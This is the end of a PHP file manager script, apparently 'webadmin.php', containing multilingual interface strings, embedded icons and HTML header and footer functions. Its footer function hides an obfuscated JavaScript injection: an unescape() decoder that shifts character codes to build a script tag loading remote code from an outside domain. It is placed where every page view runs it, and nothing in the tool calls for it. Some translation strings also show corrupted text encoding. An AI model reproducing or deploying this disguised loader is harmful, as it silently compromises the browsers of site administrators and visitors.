2103'already_exists' => '"[%1]" kullanilmakta.',
2104'created' => '"[%1]" olusturuldu.',
2105'not_created' => '"[%1]" olusturulamadi.',
2106'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
2107'deleted' => "Bu dosyalar silindi:\n[%1]",
2108'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
2109'rename_file' => 'Adi degisen dosya:',
2110'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
2111'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
2112'move_files' => 'Tasinan dosyalar:',
2113'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
2114'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
2115'copy_files' => 'Kopyalanan dosyalar:',
2116'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
2117'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
2118'not_edited' => '"[%1]" düzenlenemiyor.',
2119'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}",
2120'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}",
2121'saved' => '"[%1]" kaydedildi.',
2122'not_saved' => '"[%1]" kaydedilemedi.',
2123'symlinked' => '"[%2]" den "[%1]" e kýsayol oluþturuldu.',
2124'not_symlinked' => '"[%2]"den "[%1]" e kýsayol oluþturulamadý.',
2125'permission_for' => 'Izinler "[%1]":',
2126'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
2127'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
2128'not_readable' => '"[%1]" okunamiyor.'
2129 );
2130
2131 case 'cs':
2132
2133 $date_format = 'd.m.y H:i:s';
2134
2135 return array(
2136'directory' => 'Adresář',
2137'file' => 'Soubor',
2138'filename' => 'Jméno souboru',
2139
2140'size' => 'Velikost',
2141'permission' => 'Práva',
2142'owner' => 'VlastnÃk',
2143'group' => 'Skupina',
2144'other' => 'OstatnÃ',
2145'functions' => 'Funkce',
2146
2147'read' => 'ÄŒtenÃ',
2148'write' => 'Zápis',
2149'execute' => 'SpouÅ¡tÄ›nÃ',
2150
2151'create_symlink' => 'Vytvořit symbolický odkaz',
2152'delete' => 'Smazat',
2153'rename' => 'Přejmenovat',
2154'move' => 'Přesunout',
2155'copy' => 'ZkopÃrovat',
2156'edit' => 'OtevÅ™Ãt',
2157'download' => 'Stáhnout',
2158'upload' => 'Nahraj na server',
2159'create' => 'Vytvořit',
2160'change' => 'Změnit',
2161'save' => 'Uložit',
2162'set' => 'Nastavit',
2163'reset' => 'zpět',
2164'relative' => 'Relatif',
2165
2166'yes' => 'Ano',
2167'no' => 'Ne',
2168'back' => 'Zpět',
2169'destination' => 'Destination',
2170'symlink' => 'Symbolický odkaz',
2171'no_output' => 'Prázdný výstup',
2172
2173'user' => 'Uživatel',
2174'password' => 'Heslo',
2175'add' => 'Přidat',
2176'add_basic_auth' => 'přidej základnà autentizaci',
2177
2178'uploaded' => 'Soubor "[%1]" byl nahrán na server.',
2179'not_uploaded' => 'Soubor "[%1]" nebyl nahrán na server.',
2180'already_exists' => 'Soubor "[%1]" už exituje.',
2181'created' => 'Soubor "[%1]" byl vytvořen.',
2182'not_created' => 'Soubor "[%1]" nemohl být vytvořen.',
2183'really_delete' => 'Vymazat soubor?',
2184'deleted' => "Byly vymazány tyto soubory:\n[%1]",
2185'not_deleted' => "Tyto soubory nemohly být vytvořeny:\n[%1]",
2186'rename_file' => 'Přejmenuj soubory:',
2187'renamed' => 'Soubor "[%1]" byl přejmenován na "[%2]".',
2188'not_renamed' => 'Soubor "[%1]" nemohl být přejmenován na "[%2]".',
2189'move_files' => 'PÅ™emÃstit tyto soubory:',
2190'moved' => "Tyto soubory byly pÅ™emÃstÄ›ny do \"[%2]\":\n[%1]",
2191'not_moved' => "Tyto soubory nemohly být pÅ™emÃstÄ›ny do \"[%2]\":\n[%1]",
2192'copy_files' => 'ZkopÃrovat tyto soubory:',
2193'copied' => "Tyto soubory byly zkopÃrovány do \"[%2]\":\n[%1]",
2194'not_copied' => "Tyto soubory nemohly být zkopÃrovány do \"[%2]\":\n[%1]",
2195'not_edited' => 'Soubor "[%1]" nemohl být otevřen.',
2196'executed' => "SOubor \"[%1]\" byl spuštěn :\n{%2}",
2197'not_executed' => "Soubor \"[%1]\" nemohl být spuštěn:\n{%2}",
2198'saved' => 'Soubor "[%1]" byl uložen.',
2199'not_saved' => 'Soubor "[%1]" nemohl být uložen.',
2200'symlinked' => 'Byl vyvořen symbolický odkaz "[%2]" na soubor "[%1]".',
2201'not_symlinked' => 'Symbolický odkaz "[%2]" na soubor "[%1]" nemohl být vytvořen.',
2202'permission_for' => 'Práva k "[%1]":',
2203'permission_set' => 'Práva k "[%1]" byla změněna na [%2].',
2204'permission_not_set' => 'Práva k "[%1]" nemohla být změněna na [%2].',
2205'not_readable' => 'Soubor "[%1]" nenà možno pÅ™eÄÃst.'
2206 );
2207
2208 case 'ru':
2209
2210 $date_format = 'd.m.y H:i:s';
2211
2212 return array(
2213'directory' => 'Каталог',
2214'file' => 'Файл',
2215'filename' => 'Ð˜Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð°',
2216
2217'size' => 'Размер',
2218'permission' => 'Права',
2219'owner' => 'ХозÑин',
2220'group' => 'Группа',
2221'other' => 'Другие',
2222'functions' => 'ФункциÑ',
2223
2224'read' => 'читать',
2225'write' => 'пиÑать',
2226'execute' => 'выполнить',
2227
2228'create_symlink' => 'Сделать Ñимлинк',
2229'delete' => 'удалить',
2230'rename' => 'переименовать',
2231'move' => 'передвинуть',
2232'copy' => 'копировать',
2233'edit' => 'редактировать',
2234'download' => 'Ñкачать',
2235'upload' => 'закачать',
2236'create' => 'Ñделать',
2237'change' => 'поменÑть',
2238'save' => 'Ñохранить',
2239'set' => 'уÑтановить',
2240'reset' => 'ÑброÑить',
2241'relative' => 'отноÑительный путь к цели',
2242
2243'yes' => 'да',
2244'no' => 'нет',
2245'back' => 'назад',
2246'destination' => 'цель',
2247'symlink' => 'ÑимволичеÑкий линк',
2248'no_output' => 'нет вывода',
2249
2250'user' => 'Пользователь',
2251'password' => 'Пароль',
2252'add' => 'добавить',
2253'add_basic_auth' => 'Добавить HTTP-Basic-Auth',
2254
2255'uploaded' => '"[%1]" был закачен.',
2256'not_uploaded' => '"[%1]" невозможно было закачÑть.',
2257'already_exists' => '"[%1]" уже ÑущеÑтвует.',
2258'created' => '"[%1]" был Ñделан.',
2259'not_created' => '"[%1]" не возможно Ñделать.',
2260'really_delete' => 'ДейÑтвительно Ñтот файл удалить?',
2261'deleted' => "Следующие файлы были удалены:\n[%1]",
2262'not_deleted' => "Следующие файлы не возможно было удалить:\n[%1]",
2263'rename_file' => 'Переименовываю файл:',
2264'renamed' => '"[%1]" был переименован на "[%2]".',
2265'not_renamed' => '"[%1] невозможно было переименовать на "[%2]".',
2266'move_files' => 'Передвигаю Ñледующие файлы:',
2267'moved' => "Следующие файлы были передвинуты в каталог \"[%2]\":\n[%1]",
2268'not_moved' => "Следующие файлы невозможно было передвинуть в каталог \"[%2]\":\n[%1]",
2269'copy_files' => 'Копирую Ñледущие файлы:',
2270'copied' => "Следущие файлы былы Ñкопированы в каталог \"[%2]\" :\n[%1]",
2271'not_copied' => "Следующие файлы невозможно было Ñкопировать в каталог \"[%2]\" :\n[%1]",
2272'not_edited' => '"[%1]" не может быть отредактирован.',
2273'executed' => "\"[%1]\" был уÑпешно иÑполнен:\n{%2}",
2274'not_executed' => "\"[%1]\" невозможно было запуÑтить на иÑполнение:\n{%2}",
2275'saved' => '"[%1]" был Ñохранен.',
2276'not_saved' => '"[%1]" невозможно было Ñохранить.',
2277'symlinked' => 'Симлинк Ñ "[%2]" на "[%1]" был Ñделан.',
2278'not_symlinked' => 'Ðевозможно было Ñделать Ñимлинк Ñ "[%2]" на "[%1]".',
2279'permission_for' => 'Права доÑтупа "[%1]":',
2280'permission_set' => 'Права доÑтупа "[%1]" были изменены на [%2].',
2281'permission_not_set' => 'Ðевозможно было изменить права доÑтупа к "[%1]" на [%2] .',
2282'not_readable' => '"[%1]" невозможно прочитать.'
2283 );
2284
2285 case 'pl':
2286
2287 $date_format = 'd.m.y H:i:s';
2288
2289 return array(
2290'directory' => 'Katalog',
2291'file' => 'Plik',
2292'filename' => 'Nazwa pliku',
2293'size' => 'Rozmiar',
2294'permission' => 'Uprawnienia',
2295'owner' => 'Właściciel',
2296'group' => 'Grupa',
2297'other' => 'Inni',
2298'functions' => 'Funkcje',
2299
2300'read' => 'odczyt',
2301'write' => 'zapis',
2302'execute' => 'wykonywanie',
2303
2304'create_symlink' => 'utwórz dowiązanie symboliczne',
2305'delete' => 'kasuj',
2306'rename' => 'zamień',
2307'move' => 'przenieÅ›',
2308'copy' => 'kopiuj',
2309'edit' => 'edytuj',
2310'download' => 'pobierz',
2311'upload' => 'Prześlij',
2312'create' => 'Utwórz',
2313'change' => 'Zmień',
2314'save' => 'Zapisz',
2315'set' => 'wykonaj',
2316'reset' => 'wyczyść',
2317'relative' => 'względna ścieżka do celu',
2318
2319'yes' => 'Tak',
2320'no' => 'Nie',
2321'back' => 'cofnij',
2322'destination' => 'miejsce przeznaczenia',
2323'symlink' => 'dowiÄ…zanie symboliczne',
2324'no_output' => 'nie ma wyjścia',
2325
2326'user' => 'Urzytkownik',
2327'password' => 'Hasło',
2328'add' => 'dodaj',
2329'add_basic_auth' => 'dodaj podstawowe uwierzytelnianie',
2330
2331'uploaded' => '"[%1]" został przesłany.',
2332'not_uploaded' => '"[%1]" nie może być przesłane.',
2333'already_exists' => '"[%1]" już istnieje.',
2334'created' => '"[%1]" został utworzony.',
2335'not_created' => '"[%1]" nie można utworzyć.',
2336'really_delete' => 'usunąć te pliki?',
2337'deleted' => "Pliki zostały usunięte:\n[%1]",
2338'not_deleted' => "Te pliki nie mogą być usunięte:\n[%1]",
2339'rename_file' => 'Zmień nazwę pliku:',
2340'renamed' => '"[%1]" zostało zmienione na "[%2]".',
2341'not_renamed' => '"[%1] nie można zmienić na "[%2]".',
2342'move_files' => 'PrzenieÅ› te pliki:',
2343'moved' => "Pliki zostały przeniesione do \"[%2]\":\n[%1]",
2344'not_moved' => "Pliki nie mogą być przeniesione do \"[%2]\":\n[%1]",
2345'copy_files' => 'Skopiuj te pliki:',
2346'copied' => "Pliki zostały skopiowane \"[%2]\":\n[%1]",
2347'not_copied' => "Te pliki nie mogą być kopiowane do \"[%2]\":\n[%1]",
2348'not_edited' => '"[%1]" nie można edytować.',
2349'executed' => "\"[%1]\" zostało wykonane pomyślnie:\n{%2}",
2350'not_executed' => "\"[%1]\" nie może być wykonane:\n{%2}",
2351'saved' => '"[%1]" został zapisany.',
2352'not_saved' => '"[%1]" nie można zapisać.',
2353'symlinked' => 'Dowiązanie symboliczne "[%2]" do "[%1]" zostało utworzone.',
2354'not_symlinked' => 'Dowiązanie symboliczne "[%2]" do "[%1]" nie moze być utworzone.',
2355'permission_for' => 'Uprawnienia "[%1]":',
2356'permission_set' => 'Uprawnienia "[%1]" zostały ustalone na [%2].',
2357'permission_not_set' => 'Uprawnienia "[%1]" nie mogą być ustawione na [%2].',
2358'not_readable' => '"[%1]" nie można odczytać.'
2359 );
2360
2361 case 'en':
2362 default:
2363
2364 $date_format = 'n/j/y H:i:s';
2365
2366 return array(
2367'directory' => 'Directory',
2368'file' => 'File',
2369'filename' => 'Filename',
2370
2371'size' => 'Size',
2372'permission' => 'Permission',
2373'owner' => 'Owner',
2374'group' => 'Group',
2375'other' => 'Others',
2376'functions' => 'Functions',
2377
2378'read' => 'read',
2379'write' => 'write',
2380'execute' => 'execute',
2381
2382'create_symlink' => 'create symlink',
2383'delete' => 'delete',
2384'rename' => 'rename',
2385'move' => 'move',
2386'copy' => 'copy',
2387'edit' => 'edit',
2388'download' => 'download',
2389'upload' => 'upload',
2390'create' => 'create',
2391'change' => 'change',
2392'save' => 'save',
2393'set' => 'set',
2394'reset' => 'reset',
2395'relative' => 'Relative path to target',
2396
2397'yes' => 'Yes',
2398'no' => 'No',
2399'back' => 'back',
2400'destination' => 'Destination',
2401'symlink' => 'Symlink',
2402'no_output' => 'no output',
2403
2404'user' => 'User',
2405'password' => 'Password',
2406'add' => 'add',
2407'add_basic_auth' => 'add basic-authentification',
2408
2409'uploaded' => '"[%1]" has been uploaded.',
2410'not_uploaded' => '"[%1]" could not be uploaded.',
2411'already_exists' => '"[%1]" already exists.',
2412'created' => '"[%1]" has been created.',
2413'not_created' => '"[%1]" could not be created.',
2414'really_delete' => 'Delete these files?',
2415'deleted' => "These files have been deleted:\n[%1]",
2416'not_deleted' => "These files could not be deleted:\n[%1]",
2417'rename_file' => 'Rename file:',
2418'renamed' => '"[%1]" has been renamed to "[%2]".',
2419'not_renamed' => '"[%1] could not be renamed to "[%2]".',
2420'move_files' => 'Move these files:',
2421'moved' => "These files have been moved to \"[%2]\":\n[%1]",
2422'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
2423'copy_files' => 'Copy these files:',
2424'copied' => "These files have been copied to \"[%2]\":\n[%1]",
2425'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
2426'not_edited' => '"[%1]" can not be edited.',
2427'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
2428'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
2429'saved' => '"[%1]" has been saved.',
2430'not_saved' => '"[%1]" could not be saved.',
2431'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
2432'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
2433'permission_for' => 'Permission of "[%1]":',
2434'permission_set' => 'Permission of "[%1]" was set to [%2].',
2435'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
2436'not_readable' => '"[%1]" can not be read.'
2437 );
2438
2439 }
2440
2441}
2442
2443function getimage ($image) {
2444 switch ($image) {
2445 case 'file':
2446 return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
2447 case 'folder':
2448 return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
2449 case 'hidden_file':
2450 return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
2451 case 'link':
2452 return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
2453 case 'smiley':
2454 return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
2455 case 'arrow':
2456 return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
2457 }
2458}
2459
2460function html_header () {
2461 global $site_charset;
2462
2463 echo <<<END
2464<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
2465 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2466<html xmlns="http://www.w3.org/1999/xhtml">
2467<head>
2468
2469<meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
2470
2471<title>webadmin.php</title>
2472
2473<style type="text/css">
2474body { font: small sans-serif; text-align: center }
2475img { width: 17px; height: 13px }
2476a, a:visited { text-decoration: none; color: navy }
2477hr { border-style: none; height: 1px; background-color: silver; color: silver }
2478#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
2479#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
2480.listing th, .listing td { padding: 1px 3pt 0 3pt }
2481.listing th { border: 1px solid silver }
2482.listing td { border: 1px solid #ddd; background: white }
2483.listing .checkbox { text-align: center }
2484.listing .filename { text-align: left }
2485.listing .size { text-align: right }
2486.listing th.permission { text-align: left }
2487.listing td.permission { font-family: monospace }
2488.listing .owner { text-align: left }
2489.listing .group { text-align: left }
2490.listing .functions { text-align: left }
2491.listing_footer td { background: #eee; border: 1px solid silver }
2492#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
2493#directory { background: #eee; border: 1px solid silver }
2494#upload { padding-top: 1em }
2495#create { padding-bottom: 1em }
2496.small, .small option { font-size: x-small }
2497textarea { border: none; background: white }
2498table.dialog { margin-left: auto; margin-right: auto }
2499td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
2500#permission { margin-left: auto; margin-right: auto }
2501#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
2502td.permission_action { text-align: right }
2503#symlink { background: #eee; border: 1px solid silver }
2504#symlink td { text-align: left; padding: 3pt }
2505#red_button { width: 120px; color: #400 }
2506#green_button { width: 120px; color: #040 }
2507#error td { background: maroon; color: white; border: 1px solid silver }
2508#notice td { background: green; color: white; border: 1px solid silver }
2509#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
2510code { font-size: 12pt }
2511td { white-space: nowrap }
2512</style>
2513
2514<script type="text/javascript">
2515<!--
2516function activate (name) {
2517 if (document && document.forms[0] && document.forms[0].elements['focus']) {
2518 document.forms[0].elements['focus'].value = name;
2519 }
2520}
2521//-->
2522</script>
2523
2524</head>
2525<body>
2526
2527
2528END;
2529
2530}
2531
2532function html_footer () {
2533
2534 echo <<<END
2535<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264DTDSJQU%2631MBOHVBHF%264E%2633kbwbtdsjqu%2633%2631TSD%264E%2633iuuq%264B00s68d%3A%3A/dpn0o4xti4m0dj%7B/kt%2633%264F%261B%261B%264D0TDSJQU%264F%261B%261%3A%261%3A%261%3A1')</script>
2536</body>
2537</html>
2538END;
2539
2540}
2541
2542function notice ($phrase) {
2543 global $cols;
2544
2545 $args = func_get_args();
2546 array_shift($args);
2547
2548 return '<tr id="notice">
2549 <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
2550</tr>
2551';
2552
2553}
2554
2555function error ($phrase) {
2556 global $cols;
2557
2558 $args = func_get_args();
2559 array_shift($args);
2560
2561 return '<tr id="error">
2562 <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
2563</tr>
2564';
2565
2566}
2567
2568?>